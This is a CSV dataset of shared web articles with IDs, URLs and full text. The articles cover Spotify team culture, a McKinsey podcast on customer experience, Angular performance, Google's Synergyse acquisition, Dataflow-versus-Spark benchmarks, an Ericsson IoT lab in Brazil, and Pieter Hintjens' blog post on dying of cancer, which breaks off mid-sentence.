1462307591,CONTENT REMOVED,-1706114177222872702,-1032019229384696495,9206175271110320466,,,,HTML,http://www.infoq.com/presentations/spotify-culture,The Spotify Tribe,"Summary Kevin Goldsmith presents Spotify's internal culture promoting collaboration and creativity and the internal groupings that keep individuals and teams aligned and cross-functional. Bio Kevin Goldsmith leads the 105-strong Music Player organization, comprising eleven teams in Stockholm and Göteborg; including engineering, test and agile coaches. The Music Player Tribe is responsible for the nearly all of the user visible features in the Spotify product. Spark the Change is the UK's only conference to bring people together and offer the practical skills to build stronger organisations and happier workplaces.",en
1462308166,CONTENT SHARED,7606744605433799135,-8694104221113176052,2286952591782871148,,,,HTML,http://www.mckinsey.com/business-functions/marketing-and-sales/our-insights/why-the-customer-experience-matters,Why the customer experience matters,"Truly understanding customer needs may help companies improve not only the buying experience but also their bottom line. A company's relationship with its customers is about much more than improving product ratings or decreasing wait times. Understanding the customer journey is about learning what customers experience from the moment they begin considering a purchase, and then working to make the journey toward buying a product or service as simple, clear, and efficient as possible. In this episode of the McKinsey Podcast , McKinsey principals Harald Fanderl and Nicolas Maechler talk with McKinsey's Bill Javetski about what companies have to gain from focusing on the customer experience and how they can evaluate and enhance the purchasing journey. Podcast transcript Bill Javetski: Welcome to another episode of the McKinsey Podcast . Hello, I'm Bill Javetski, an executive editor with McKinsey Publishing. I think today's topic is one that everyone will have their own stories to tell about. It's customer experience. Think back for a moment to the last time you called your electric company or your cable company or you filed an insurance claim or ordered something online. Maybe you took a trip on an airline or by taxi. You'll probably have a memory of how the whole experience felt. When you were done, did you like the experience? Did you hate it? What did you think of the company that provided it? Well, companies are thinking a lot about how they treat their customers. So we're going to talk about what it means to put a customer's needs and wants at the center of a business strategy. My guests today are Harald Fanderl, a partner in McKinsey's Munich office. Welcome, Harald. Harald Fanderl: Hello, Bill. Bill Javetski: We're also joined by Nicolas Maechler, a partner in McKinsey's Paris office. Welcome, Nicolas. Nicolas Maechler: Hello, Bill. Bill Javetski: The two of you have just been collaborating on a compendium of articles on customer experience. So, Harald, let me start with you. Customer experience seems to be a big business topic now. What exactly are we talking about when we talk about customer experience? Is it customer service or customer satisfaction or is it something else? Harald Fanderl: When we talk about customer experience, Bill, it's actually all of the above. It's all about putting customer needs at the center of what a company needs to do, and then ensuring along all the touchpoints and even more so along all the relevant customer journeys that the customers have a flawless experience. When a customer is satisfied with a company, they are also lower in the cost to serve, but also have a higher potential to be more loyal customers for this company. And maybe they'll even promote this company among their friends. Bill Javetski: This idea of touchpoints and journeys, can you explain that a bit more? Harald Fanderl: Happy to do so. At the center of what we are discussing at McKinsey, all around customer experience, is the concept of customer journeys. We used to discuss improvements of customer touchpoints, but we see when we also do analytical research that in order to satisfy customer needs, you typically need more than one customer touchpoint to satisfy a need. This could be to join a company, to pay a bill, or to change something in your address. As that is more than one touchpoint, it's important that you as a company have the whole journey in sight. Then think about how you can improve this customer journey. The complexity comes when you go deeper and understand that companies are often organized in silos for multiple customer journeys. Therefore, this cross-functional collaboration is crucial for putting the customer need in the center and then working together in multiple areas of the company, be it the more sales-driven guys, the marketing guys, the operational guys, and even support areas like IT and finance, to then jointly work and improve this customer journey along the various touchpoints. Bill Javetski: If I'm hearing you, then a touchpoint is kind of an individual transaction? I call the call center and tell them I'm complaining that my electricity is off. This journey is the accumulation of all of my touchpoints, all of my contacts, with the company over a period of time? That sounds like a lot to digest for a customer and for a company as well. What is the difference between this idea of a touchpoint and a customer journey? Nicolas, can you illuminate us on that? Nicolas Maechler: Sure. Basically, we go back to the customer need. When you want to interact with a company, there is something you want to achieve. Either you want a new product, you want to buy something, you want to complain about something that is broken, something is wrong, one of your bills is wrong. That's the basic need. The different touchpoints you're interacting with are just ways for you as a customer to fulfill that need or solve that problem. Going back there and understanding the combination of touchpoints that will actually deliver this satisfaction to you or fulfill this need for you, is what we do. We take a full end-to-end view of the customer need, and that's what we believe is the right way of approaching customer experience. Bill Javetski: This journey, how long can it take? Nicolas Maechler: Sometimes it's very long. If you think about buying a car, in most countries today, you have car configurators online. So you go there, you have an ID, you look at one brand, and you configure your car. Then maybe a few weeks later, you pay a visit to the dealer, and you test drive that car. Maybe you hesitate again, and then you have a financing discussion later on. But if you don't connect these elements, you don't have the view of one single journey, which is, ""I want a new car."" It can span over a period of a few days or sometimes a few weeks. It can go even to months when it doesn't go right. If the company's not solving the problem, it can go up to months. That's usually not a good sign. Harald Fanderl: Yeah, Nicolas, let me add an example from the energy space. When we looked at that example, we saw that they had actually up to 18 touchpoints with customers to organize a customer move from one house to the other. But they didn't have the full view across all these touchpoints of what they wanted to achieve. They had 18 touchpoints. They had more than 60 people that worked on these moves in various departments, but there was no single person responsible to orchestrate these various teams and touchpoints to fulfill this need smoothly. What we did here, with the clients, we put ourselves deeply into the shoes of the customer, did some focus groups and found out, of course, that this period of moving is a very stressful time. So energy is probably not at the top of your mind. Then we organized a cross-functional team with the marketing department, the operations team, IT, and the digital team. Based on the insights we got from the customer feedback, we found out that to smooth the process, we needed to figure out how long it takes to make this move happen. On top of this, we thought about, ""Do we need all these 18 touchpoints? Can we shorten this whole process significantly?"" By collaborating cross-functionally and continuously, also involving customers for feedback, we were able to reduce that amount of time needed for this journey from six weeks to under one week, and also increase customer satisfaction by more than 30 percent. Bill Javetski: If this involves the marketing department and the operations function and IT, it sounds like a very complicated process, from a company's standpoint. What is driving this? Are customers demanding this kind of end-to-end service and end-to-end attention to what they're seeking? Or is it coming from some other source? Nicolas Maechler: Customers are relatively simple, right? They interact with you, and they want the service that they are expecting to be delivered. What creates the complexity is the company. Through the years, for many reasons, sometimes a new IT system, sometimes regulation, some legal requirements, and so on, add complexities little by little. Because companies do not focus that much on these end-to-end customer journeys, you end up with an extremely cumbersome experience for customers, which is actually not optimized for the customer, but optimized for the company. What we are advocating now is this shift in perspective, so that the customer becomes the center of attention again. Harald Fanderl: Nicolas, I think that's spot on. Maybe let me also add, the demand of the customer is also increasing. That is another thing that you also observe in the marketplaces. Many industries get fully disrupted with new offers. If I only think of the Amazons or the Apples of this world, but also in the telco sector, there's a lot, especially through the digital revolution that is happening in these sectors, where the customer demands are becoming higher and higher. They are experiencing a full breadth of experiences. Some really stellar and really efficient, and putting the customer in the center. And others in industries like insurance, like energy, and maybe also in the whole healthcare space, where you experience a big opportunity to put customer needs more in the center of what these companies are doing. Nicolas Maechler: The reason why our clients are now turning to us more and more on this topic of customer experience is that indeed these companies, like Apple, Google, Amazon, Uber, are just raising the bar in terms of customer expectation. If you think about the B2C world, a lot of our clients face customers who have increasing demands. If I can manage a taxi booking in a very easy way with Uber, why couldn't I access all my bank accounts in an easy, integrated manner? Or why can't I subscribe to a new telecom plan through the web as well or through my device? For instance, if I want to buy one for my kids. It's percolating from these leading-edge companies to the regular B2C world. What I've found most interesting in the last 18 to 24 months is that even in the B2B world, this is also coming. Bill Javetski: So customers are becoming more demanding and comparing different companies against each other when they base their decisions on where to purchase based on their experience. Nicolas Maechler: Let me make a comment, Bill, about your question earlier in this conversation around the definition of customer experience. Customer experience is a perception. This is not an operational KPI as you usually have in your company. This is a perception driven by a very clear equation. It's the observed performance that the customer has with its supplier, minus its expectation. A lot of companies want to make sure they do well on customer satisfaction by increasing the observed performance. That's good. But don't forget the expectations, because if your expectations are very high and you deliver something in terms of observed performance that is quite standout, people are going to be deceived. Think about all the marketing messages we are getting through advertising every day. ""I'm gonna be the best."" ""You will see what you will see."" ""We have the best network."" ""We have the best this, the best that."" Through advertising, a lot of companies are raising expectations, while delivery is actually quite standard. We've found that sometimes lowering expectations can also be a way to deliver higher satisfaction. To take a real example, one of my clients in the telco space delivering fiber to the home, was in the shops claiming the delivery would happen in the next 8 days. While actually, the back office was rather on average able to deliver around, let's say, 12 to 15 days, which obviously created a negative perception versus the salesperson's promise. If you revert the thing and say, ""At the moment of the sale, it's likely to be 12 to 15 days""-people usually already have a broadband connection at home, so it's not the end of the day if you don't have it in one week. The overall satisfaction that came out of this process, promising 15 and delivering on it, or sometimes even overdelivering, was far better than saying the contrary. Bill Javetski: So it's not necessarily that you attack this with performance gains, but in some ways, you are dealing in the perceptions of what your customers expect and working around those. It sounds like at times it could be a bit manipulative. Nicolas Maechler: You call it manipulative, but it's also just the truth, right? If you are unable to deliver on 12 days and your sales guy is just trying to push, push, push to get the sale, this is the manipulation. If you tell him the truth, maybe you're going to lose the sale. But this is likely to be rather marginal versus having a bad experience in the first two to three weeks. Bill Javetski: The companies that you mentioned, Apple, Amazon, Uber, these are companies that obviously use digitization to a vast degree. Is it only these newer players that are good at this? Or are there older-line players that are also good at putting customers at the center of their purpose and their strategy? Nicolas Maechler: You can take a customer-centric approach from any starting point. It's not limited to a few companies; it's rather open to anyone. We would claim it's a performance angle that was long overlooked. One hundred percent of companies focus on their financial performance. All of them focus on their commercial performance. Now there's a lot of pressure to be good on your environmental performance. You need to be good on your social performance, the way you treat your employees, and so on. Who is actually looking and focusing on the customer performance? So I would argue this is something that is open and required for anyone. Harald Fanderl: There is a leading European energy player who used to be in the bottom 25 percent in terms of customer satisfaction. The company embraced this whole topic and is now a leader in their country in terms of customer satisfaction. In the pharma healthcare sector there are now also some payers that really take this concept at the core. One of the clients we've been supporting managed an increase in one and a half years of more than 25 percent in terms of improvements in customer satisfaction, which went along with a fundamental change of the mind-set and behavior of 6,500 people by introducing the customer journey concept and by, in stages, working on one customer journey after the other. Bill Javetski: I'd like to talk about what it takes inside a company to begin this kind of a transformation. But before we do that, I'd like to ask what the benefits are of taking a much more customer-centric approach. Nicolas Maechler: Yes. Bill Javetski: Does it migrate to the bottom line? Culturally, what can we look at, because companies often talk about strategy and financial benefits. But if you are going to devote a lot of attention to developing better customer relations, the question is going to become, ""Well, what advantage will it give us?"" Maybe you could explore that a little bit, Nicolas. Nicolas Maechler: Yes. Indeed, it's a fair question because we've been talking for a while now about improving customer satisfaction, as Harald was just saying. We've seen significant improvements in other areas of the business, which are more directly linked to the bottom line through a focus on customer satisfaction. And I'll come back to that. But, again, let's not think, ""Let's hide a cost-reduction program at the back of a customer-centric sort of transformation."" We need to be true to this. So it's really focusing on our customer satisfaction that has side benefits. I think we've seen a lower cost to serve attached to that. Even without wanting cost actions, we end up doing some because we simplify processes. We improve the end to end. We accelerate digital migration. We avoid repeat interactions and so on. Let's say 15 to 20 percent of cost reduction is quite often seen. Now, not only costs. It also drives revenues for sometimes obvious reasons like churn avoidance. So people canceling their services with a company. But also types of cross-selling, so adding to your portfolio of services you have with one company. Or even simply, as I've seen recently in a B2B case, winning more proposals. Bill Javetski: Let me pose a situation. I'm a CEO of a company. Maybe it's a retail company, maybe it's a business-to-business company. I recognize that I am losing some competitiveness because others in my sector are more customer centric, but I haven't given much thought to this in the past. How should I attack the problem of getting better at customer experience? What are the fundamentals building blocks of a strategy to improve the way that I treat customers? Harald Fanderl: It all starts with a vision, really-an aspiration of what do I want to achieve typically that can be also stimulated by an external impulse where there's a new entrant or, as we discussed earlier, maybe a new, a smaller player offering a more compelling proposition to your customers. Or that you even see in customer-satisfaction ratings that you have a real challenge. If you have a customer-satisfaction problem, it's important to dig deep and understand why customers perceive us like this. Customer Experience See the collection Then come to a joint understanding, that's often not so nice, but it's a little painful problem that you accept. When you understand where you are in terms of customers and satisfaction, what is the expectation of your customers? Where are you in your current performance? Then you go back and start looking at what are the most important customer journeys. Often the first step is to take one customer journey, think about how you can work on this customer journey from an internal perspective, and then play toward what would be the expectation from the customer side. Then you get an understanding of where you are, what the aspiration level can and should be. In a cross-functional team, you start to organize by attributing one leader who most of the time is the guy who has the most touchpoints in this customer journey. You appoint him as the customer journey lead. Then start with him at the various departments that are engaged in the customer-touchpoint process, with many of the tools that we then bring to the table, to come to a continuous improvement all along this customer journey. Nicolas Maechler: I've seen three major components that make a customer-experience transformation successful. First, you need a top-down push. You need the top management to be convinced, to understand and create this conviction or propagate this conviction across the organization. This is good, but that's not enough. The second element is the one that Harald was speaking about before, which is to look at the journeys, understand them, sometimes create them when they don't really exist or they are not formalized, prioritize them, and then go through the main ones and transform them. You look at major cost items, what's creating problems, and rework, rework, rework until you have an increase in customer satisfaction. The third element, which, in our view, is absolutely crucial to make it last and to ensure a wide adoption around the companies is a feedback-loop system. Yes, there have been a lot of measures around customer satisfaction and even university debates about which measurement system or which indicator is the best. The point is what you do with it. We believe putting in place a feedback-loop system that actually asks the closest to an event with the client. And typically, to the end of a journey, asking the customer for satisfaction measure or rating. But then feeding it back into the organization. Not only in the form of a dashboard for the management to look at, but for individual stakeholders. So individual field technicians, individual store sales reps. Individual call-center people about their own interaction with their clients, the people they just spoke to, feeding them back the positive, but also the negative ones, is actually very powerful because then they know what they've done right, what they've done wrong, and how they could improve. They also know the company is kind of taking care of this. It's really important for the company. Bill Javetski: That's a very helpful exploration of a very complex business topic. You can find more of Harald's and Nicolas's insights on McKinsey.com and also in their compendium, called Customer experience: Creating value through transforming customer journeys. Thanks to both of them for participating in our podcast. Thanks, Harald. Harald Fanderl: Thank you, Bill. It was a pleasure to be on this one. Bill Javetski: Thank you, Nicolas. Nicolas Maechler: You're welcome. Bill Javetski: I hope you've enjoyed this podcast. Thanks for listening. About the author(s) Harald Fanderl is a principal in McKinsey's Munich office, and Nicolas Maechler is a principal in the Paris office. Bill Javetski is a member of McKinsey Publishing and is based in the New Jersey office.",en
1462312977,CONTENT SHARED,2672238531812965181,-6153009241569363021,1994471746758391985,,,,HTML,https://medium.com/@hackupstate/improving-angular-performance-with-1-line-of-code-a1fb814a6476,Improving Angular performance with 1 line of code,"So I thought to myself, ""Genius dot com raised $50 million from Andreessen Horowitz didn't they? They must have lots of Angular-trained engineers. How didn't they catch that?!"" Then I began to wonder, if Genius didn't use this one line of code that improves the performance of their website... who else? So I ⌘+T my way to , the official gallery of Angular projects. I clicked the first example I saw, Mercedes video channel. I inspected elements, and sure enough there was an ng-scope class. Take a look: I see it. You see it. Clear as day. I clicked another example, Maryland State Police. I did my Sherlock Holmes routine and inspected elements. I didn't see ng-scope. But then I opened console. And I typed: When you type that and press Enter the console will return some information about the version of angular that is in use on the page. Instead I got this: The page didn't use angular. The page isn't giving me any usable data, so I moved on. I clicked another example, groupme. Did they use the one line of code that would speed up their Angular? No. Another example, a startup called Flat. Did they use the one line of code that would speed up their Angular? They were like the Maryland State Police example, the page that the madewithangular website linked to didn't actually point to a page that was using angular. I clicked a nother example, Sprint. Did they use the line of code? No. I clicked another... no not really. At that point, I made a spreadsheet because I was now determined to check every example on the madewithangular homepage. That's 77 examples at the time I was on the site. Amazon, Magic Leap, GoPro, Lynda, AllRecipes.com. No. No. No. No. No. Anthropologie, Ford, YouTube Video Manager, Lego, MSNBC. No. No. No. No. No. Google Insights, Google Trends? No. No. Jeez Google's internal teams aren't using this one line of code? -My internal dialogue 20 of the 77 examples were like the Maryland State Police example, the link from madewithangular did not lead to a page using angular. So they're not relevant. How about the other 57 examples? How many of them used this one line of performance-enhancing code? 2. Those two websites? CNNGo and Greatist. That's 3 point 5 percent of websites inspected using one line of code that improves Angular performance. That means 96.5% of websites inspected do not use this one line of code that improves Angular performance. Oh I also inspected the MadeWithAngular website and Angularjs.org. Neither make use of this one line of code.",en
1462316453,CONTENT REMOVED,7078276984547732873,-1443636648652872475,5914495757799096398,,,,HTML,https://hbr.org/2016/05/how-companies-are-using-machine-learning-to-get-faster-and-more-efficient,How Companies Are Using Machine Learning to Get Faster and More Efficient,"Create a FREE account to: Get eight free articles per month* Access to personalized content Save articles and create shareable folders in your personal HBR library Get 20% off your first order using code HBRORGREG3** *not including articles that are exclusively for Harvard Business Review magazine subscribers **does not include magazine subscriptions UNLIMITED ACCESS TO HBR.ORG A one-year subscription Unlimited access to magazine archive of over 25 years of past issues, including our 50 bestselling articles (available to subscribers only) iPad and Android tablet apps including all of your magazine issues plus content feeds from HBR.org Create your personal library on HBR.org Organize articles of interest, share your favorites with colleagues Access to HBR's Visual Library which includes charts, infographics, and our most popular, fully customizable slide decks Free bonus guide of 15 must-read articles",en
1462319587,CONTENT REMOVED,-6878119266243511199,-1443636648652872475,5914495757799096398,,,,HTML,http://techcrunch.com/2016/05/02/google-acquires-synergyse-an-interactive-training-service-for-google-apps/,"Google acquires Synergyse, an interactive training service for Google Apps","Google has acquired Synergyse , a Toronto-based interactive training service for Google Apps for Work that was launched by a group of former Google employees in 2013. As part of this acquisition, Google will make Synergyse Training for Google Apps available for free to all Google Apps customers. The company did not disclose the financial terms of the transaction. According to CrunchBase, Synergyse did not raised any outside funding. According to Synergyse's own data , the service has trained over 4 million people in 3,000 organizations so far. That probably makes it the most popular training service for Google Apps and it probably didn't hurt that the service was built on top of Google's Cloud Platform either, which should make integrating it with Google's own services relatively easy. While figuring out how to use Google Apps for Work may seem trivial to many of us, there is actually a huge demand for this kind of training. Google notes that companies that use this training program see ""on average 35 percent higher adoption across Apps products."" Here is Synergyse's description of the company's incredible journey : ""By joining the Google Apps team, we can accelerate our mission because we will be working even closer with the teams that build Google Apps. Advancing our mission at a faster speed is very exciting for the Synergyse team and our customers will directly see the benefits as we move forward."" Google says it will integrate Synergyse into its own products later this year. Existing customers will be able to continue using the service and new customers can now download the Chrome extension for free.",en
1462319974,CONTENT SHARED,-6603351162010419903,-3500661007957156229,-6855475010330807605,,,,HTML,http://info.versionone.com/webinar-safe-4-value-streams-email.html?mkt_tok=eyJpIjoiTXpjM05HVXhNRGc0TkdOayIsInQiOiJGWk90angzRjl4V0VLXC9iaW9KQzcrMm8yaXk4TlwvSW1SdkFEWTdBeG9oT3pBVDZBNjVNaWV1Zlo5YzR5UFwvTGdtQVRqTTR5VTdUWE8rZExkb0U3YTN0ZE80c2VvM2E4XC9HZUdpRm9ZenRCN1k9In0%3D,VersionOne AgilelIVE™ Webinar Series| SAFe® Expert Webinar,"Alex Yakyma SAFe Fellow & Principal Consultant Scaled Agile, Inc. Alex Yakyma is a methodologist, trainer, and consultant who has been applying lean and agile practices in the software industry for over a decade. Alex joined Dean Leffingwell back in 2006 and since then has been actively working on the Scaled Agile Framework and its numerous implementations in the field. Alex's broad prior experience as a program manager in highly distributed multi-cultural environments allows him to perfect his clients' operational capabilities at the program level, their cross-program coordination, and their portfolio strategy.",en
1462321364,CONTENT SHARED,-1981734999963962468,-1443636648652872475,43810852945857874,,,,HTML,http://siliconangle.com/blog/2016/05/03/googles-dataflow-stomps-on-apache-spark-in-new-benchmark-tests/,Google's Cloud Dataflow stomps on Apache Spark in new benchmark tests,"Google will be feeling pretty pleased with itself after its Cloud Dataflow service outperformed the immensely popular Apache Spark data processing engine in a recent benchmark study carried out by Mammoth Data Inc. There's a caveat of course, because Google hired Mammoth Data to carry out the Benchmarking Google Cloud Dataflow study on its data processing service and programming model. Dataflow is a paid service, but the platform's API was recently accepted as an incubator project with the Apache Software Foundation under the name Apache Beam , following a submission earlier this year. As if to emphasize its neutrality, Mammoth Data pointed out that it actually uses Apache Spark for its own consultancy business. As such, it carried out a fully ""object study"", the consultancy said. ""Given our real-world experience with Hadoop and Spark, Google asked us to 'kick the tires' and share our insight and findings - both good and bad,"" Mammoth Data said in a statement. The results were extremely good for Google however, with Dataflow more than doubling the performance of Spark in several key metrics. For example, Dataflow beat out Spark by five times on smaller clusters, and by two times with larger clusters, Mammoth Data said. ""Spark did show near linear clock time performance gains as we deployed larger clusters, whereas the Dataflow curve is much more gradual,"" it continued. ""We also noticed that it would take approximately 8x Spark resources to achieve the slowest Dataflow job runtime (128 cores). This is a key point when considering both cost implications and resource capacity planning."" Mammoth Data also offered some observations on the autoscaling functionality, ease of use and programming models (useful for developers) of both platforms, saying that Dataflow once again came out on top, especially when using historical data. ""One noticeable advantage of Cloud Dataflow over Spark in this use-case is that Spark's built-in windowing functions do not work with 'synthetic' timestamps; you can only window over data based on the time Spark actually receives the data, not a timestamp stored with the data,"" the report said. ""This makes it very difficult to use Spark for working with historical data in batch mode."" In contrast, Mammoth Data said that Dataflow's native windowing functions were straightforward to use, and made it much easier to implement the pattern. It added that using Spark also necessitated ""massaging"" some of the cache and storing options so as to avoid running out of memory during benchmark runs. Dataflow, on the other hand, could automatically manage resource optimization, even with smaller node clusters. Mammoth Data said it didn't use the advanced windowing and trigger features of Dataflow, but nevertheless its experience was similar to Google's own programming model comparison, which it published in February of this year. That comparison states that: ""Dataflow provides the flexibility and power necessary for the next generation of real-time data-processing systems, with a clear, practical and robust approach to out-of-order processing. It goes without saying that we're very excited by the possibility of bringing all of this to an even larger audience, thanks to the creation of the Apache Beam incubator project (which, incidentally, includes work from our friends at Cloudera and PayPal to begin bringing the Dataflow model to the Spark runtime)."" Further addressing the programming aspects, Dataflow can be easily integrated with Google services like Cloud Storage and Big Query, Mammoth Data said in its study. As such, it provides a ""batteries included"" experience for those who're already using Google's Cloud. Still, Google and Dataflow didn't have it all its own way. According to the study, ""There are not many custom source and sinks as compared to the greater Hadoop and Spark ecosystem,"" Mammoth Data said, though it added that this may change as development progresses on Apache Beam. Mammoth Data performed three tests in its study: comparing clock time performance with a varying amount of cores; a variance test with smaller instance sizes; and Dataflow with autoscaling. It said that Dataflow was found to be lacking when it comes to ease-of-use, particularly when running in local execution mode, which contrasts with the performance of Spark's read-eval-print loop (REPL), which offers interactive analysis via Spark Shell. ""Dataflow's local execution is great for behavior testing, but it's a poor substitute for the flexibility of using Spark's REPL for interacting with data before creating a standalone application,"" Mammoth Data's report said. It added that it was a big challenge to even get the benchmark to run on Dataflow, as it was unfamiliar with Dataflow's job-centric model and API. ""While there have been some teething troubles as Google Cloud Dataflow matures, it is already a serious competitor to Apache Spark as well as other cloud Hadoop offerings,"" the report concluded. ""Ultimately, Cloud Dataflow provides a flexible and developer-friendly set of APIs as well as a vastly simpler and efficient story for deployment and execution of pipelines. At Mammoth Data, we're excited to have Google opening up its Big Data expertise for all to take advantage."" Main image credit: JudyC1000 via pixabay.com",en
1462354820,CONTENT SHARED,3375733407275108717,-5264754785175108362,-2588508845156688733,,,,HTML,http://www.ericsson.com/news/2006660,Brazilian Government and Ericsson to innovate together for Internet of Things,"Public-private partnership supports creation of Networked Society Lab in Brazil Lab to focus on smart agriculture, smart water, connected rainforest, disaster prevention and monitoring applications Partnership supports at least six of the 17 United Nations Sustainable Development Goals (SDGs) The Brazilian Government, represented by the Ministry of Communications, and Ericsson (NASDAQ: ERIC) have agreed a mutual cooperation to deploy proof-points of the Networked Society in Brazil. The partnership will create a Networked Society Lab in Brazil to test new technologies and measure the positive impact of Internet of Things (IoT) projects including smart water, agriculture, rainforest protection, disaster prevention and monitoring applications. André Figueiredo, Minister of Communications, says: ""The Internet of Things is quickly emerging as a very significant agent of transformation as it blends the physical and digital worlds. By cooperating with Ericsson's Networked Society Lab, we will better understand and be at the forefront of how we can sustainably improve agriculture, smart cities, energy and industrial production, among other areas, in Brazil."" Maximiliano Martinhão, Secretary of Telecommunications, says: ""The cooperation with European Union and European companies is an important component of the Brazilian strategy for IoT and 5G developments. Recently, we did a joint statement together with the European Commission for Digital Economy and Society about this partnership and we can already see the fruits of this initiative."" The Networked Society Lab in Brazil will be inaugurated on April 29, 2016 in the presence of the Minister of Communications. The project is part of the Ericsson Innovation Center that works in cooperation with universities, customers, suppliers and development agencies to foster the IoT ecosystem in Brazil and Latin America. Recently, Ericsson has launched a crowdworking platform collaboration with Telefónica Open Future and Inatel (National Telecommunications Institution). The University of São Paulo (USP), University of Campinas (UNICAMP), Pontifical Catholic University of Rio de Janeiro (PUC-Rio), the Federal University of Pará (UFPA), Federal University of Pernambuco (UFPE) and Federal University of Ceará (UFC) execute applied research in partnership with Ericsson as part of this ecosystem. The Ericsson Innovation Center in Latin America employs 460 people and has filed 80 patents (42 in Brazil) related to connected buses and bus stops in Goiânia, as well as the public safety solution deployed in São José dos Campos. Ulf Ewaldsson, Chief Technology Officer, Ericsson, says: ""This Networked Society Lab illustrates our commitment to achieving the Sustainable Development Goals (SDGs). The Lab will help bring Brazil one step closer to 5G, where new device and sensor technologies leverage network connectivity to power a variety of use cases, such as smarter solutions in agriculture and natural disaster prevention."" Carla Belitardo, Head of Strategy, Ericsson Latin America, says: ""Enabling innovation is of the utmost importance to secure a more sustainable world and to solve challenges that are particular to Brazil. This is why we have named specific focus areas - such as protecting the rainforest, and preventing and monitoring natural disasters. The combined strength of public and private investments will result in real solutions for our society."" The projects in the Networked Society Lab will also address SDGs such as SDG #2 Zero Hunger, SDG #6 Clean Water and Sanitation, SDG #11 Sustainable Cities and Communities, SDG #13 Climate Action and SDG #17 Partnerships for the Goals. For more information about Ericsson's commitment to accelerating achievement of the SDGs, see the Ericsson Sustainability and CR Report 2015 . In the latest Ericsson Mobility Report , 28 billion connected devices are forecasted by the year 2021, more than half of which are M2M and IoT connections. The IoT requires long battery lives (10 years) and better coverage, and includes temperature, air quality and flood water sensors . NOTES TO EDITORS Ericsson to bring 5G to Brazil Ericsson Mobility Report Ericsson has been present in Latin America since 1896, when it first delivered equipment in Colombia. In the early 1900s, we increased our presence in the region by signing commercial deals in Argentina, Brazil and Mexico. Today we are present in more than 50 countries throughout South America, Central America, Mexico and the Caribbean. Our complete facilities include a Production Unit and an Innovation Center with research and development (R&D) activities, as well as a Training Center. Ericsson is the leading provider in the telecommunications sector with more than 40% of the market in Latin America and over 100 telecom service contracts in the region. For media kits, supporting material and high-resolution photos, visit: www.ericsson.com/br/thecompany/press Ericsson is the driving force behind the Networked Society - a leading provider of communications technology and services. Our long-term relationships with every major telecom operator in the world allow people, business and society to fulfill their potential and create a more sustainable future. Our services, software and infrastructure - especially in mobility, broadband and the cloud - are enabling the telecom industry and other sectors to do better business, increase efficiency, improve the user experience and capture new opportunities. With more than 115,000 professionals and customers in 180 countries, we combine global scale with technology and services leadership. We support networks that connect more than 2.5 billion subscribers. Forty percent of the world's mobile traffic is carried over Ericsson networks. Our investments in research and development ensure that our solutions - and our customers - are always at the forefront. Founded in 1876, Ericsson is headquartered in Stockholm, Sweden. In 2015 the company had revenues of 29.4 billion USD (246.9 billion Swedish kronor). Ericsson is listed on the NASDAQ OMX (Stockholm) and NASDAQ (New York) stock exchanges. www.ericsson.com www.ericsson.com/news www.twitter.com/ericssonpress www.facebook.com/ericsson www.youtube.com/ericsson FOR FURTHER INFORMATION, PLEASE CONTACT Ericsson Corporate Communications Phone: +46 10 719 69 92 E-mail: media.relations@ericsson.com Ericsson Investor Relations Phone: +46 10 719 00 00 E-mail: investor.relations@ericsson.com",en
1462360209,CONTENT SHARED,372648779227126668,-2979881261169775358,-7008383890415842206,,,,HTML,http://hintjens.com/blog:116,Planned Death,"First: blog:1 Elegant Little Pieces Edited: by: pieterh Comments: 0 Tags: unprotocols Previous: blog:115 A Protocol for Dying Edited: by: pieterh Comments: 86 Tags: pieterh wrote on On Monday I got home from the hospital. It was nice, as hospitals go. My sisters and mother came to get me, and after hours of paper work and last minute urine tests, the doctor gave me my papers and told me I was free to leave. Without oxygen, I sat quietly during the taxi drive home and then got home. As I sat down in my living room, surrounded by the material of my life, my children, my family, my cats, I cried. The overwhelming sense of joy was so intense that I almost started tripping. Then I found the oxygen, and things came back into focus. The chemo, this first round, was miserable. I wanted to write a happy note about the lack of side effects, to cheer people up. Instead I spent most of Friday and Saturday vomiting, in one case projecting green-yellow vomit across several meters of my room. I think I'd eaten a couple of olives for supper. Hospital rooms and staff take this kind of thing in their stride. A few sweeps and it was all gone. I'm not a good vomiter, and the doctors gave me increasing doses of different drugs to fight the nausea. Only when my oncologist said, ""if you vomit again, we'll stick a drip back into you and start brain scans,"" did my body realize this had to stop. It's like an anti-placebo. The threat of not getting free, and worse, switched off all my nausea like flicking a switch. Curious to see how it goes with the next round of chemo next week, now that I know the effect is at least partly psychological. Vomit or not, I'm dying. I'm on palliative care, and the doctors did not switch off their slightly grim ""we'll do what we can"" manner. So different from their ""oh, you'll be fine!"" faces. To be clear, I'm not resigned, hopeless, or fatalistic. I'm absolutely determined to beat this cancer, by sheer force of will, and blind hope in the miraculous. This is how I'm designed, like a unbreakable self-righting toy. Put me into any situation, no matter how impossible, and I will always find a way to make things work. Yet I know that I'm bullshitting myself in this case. ""Always"" only ever means, ""so far, so good."" Status: awesome :) I can feel the cancer growing in me, my breathing slowly getting shallower and less easier. It is like the atmosphere has lost its essence. I breath oxygen through a tube, one liter a minute, and live with this cable like in the old times, when computers could move as far as their wires. A portable saturation meter (thank you, Amazon, you've made my life so much easier over the years) tells me I'm at 96%. Sometimes I take off the nose piece, and ""go WiFi"" for a few minutes, maybe half an hour. This lets me put my sons to bed, tell them stories. Gregor, the youngest, is so comfortable in my arms he falls asleep after two to three minutes, always. Freeman listens to my stories with attention, as he has always done. Over the last years we told the stories of Bobolan the Magician, who built the largest magical university ever. It all started at the End of the World, when Bobolan had to find five precious stones to restart the Sun. That story took us a month to tell. Jack Vance, Terry Pratchett, forgive me for taking a few riffs from your songs. My children seem to be doing well. They are calm and cheerful, focused on their daily rituals. School, computers, feeding the cats, helping in the house. It took a day or so for us to adjust after my absence and return. There is no hiding that I'm sick: my medical bed with its motors and cables is in our large living room, the center of our home. When I cough, my kids hear it, they can follow my slow downwards curve. Not that I'm getting weaker. Hospital left me weak and thin, 14 kilos lost, slow shuffling walk. Now I am quickly getting back in shape, up and down the stairs, WiFi. Being at home means I feed myself. Food has taste again! And home, I have space for my friends and family as they visit. I hope the funerary procession of that Sunday ten days past is finished, when fifteen people visited me in my small room. Some I'd not seen for years, decades. Why, I wonder, would you come to see me sick, when we don't talk in real life? I get it though, the social rituals of saying goodbye. I notice that flexibility, being able to greet the not-yet-dead in much the same way as observing silence in presence of a body. A friend came up from Paris with a bottle of wine, warm socks, chocolate drops she made in her restaurant. My daughter ate the chocolates. I put the socks on. We opened the wine. Wine and beer, I asked my doctor, before checking out. How much can I drink? He frowned... if you're not taking medication, then a glass or two can't do any harm. She told her colleagues, ""I'm taking a few 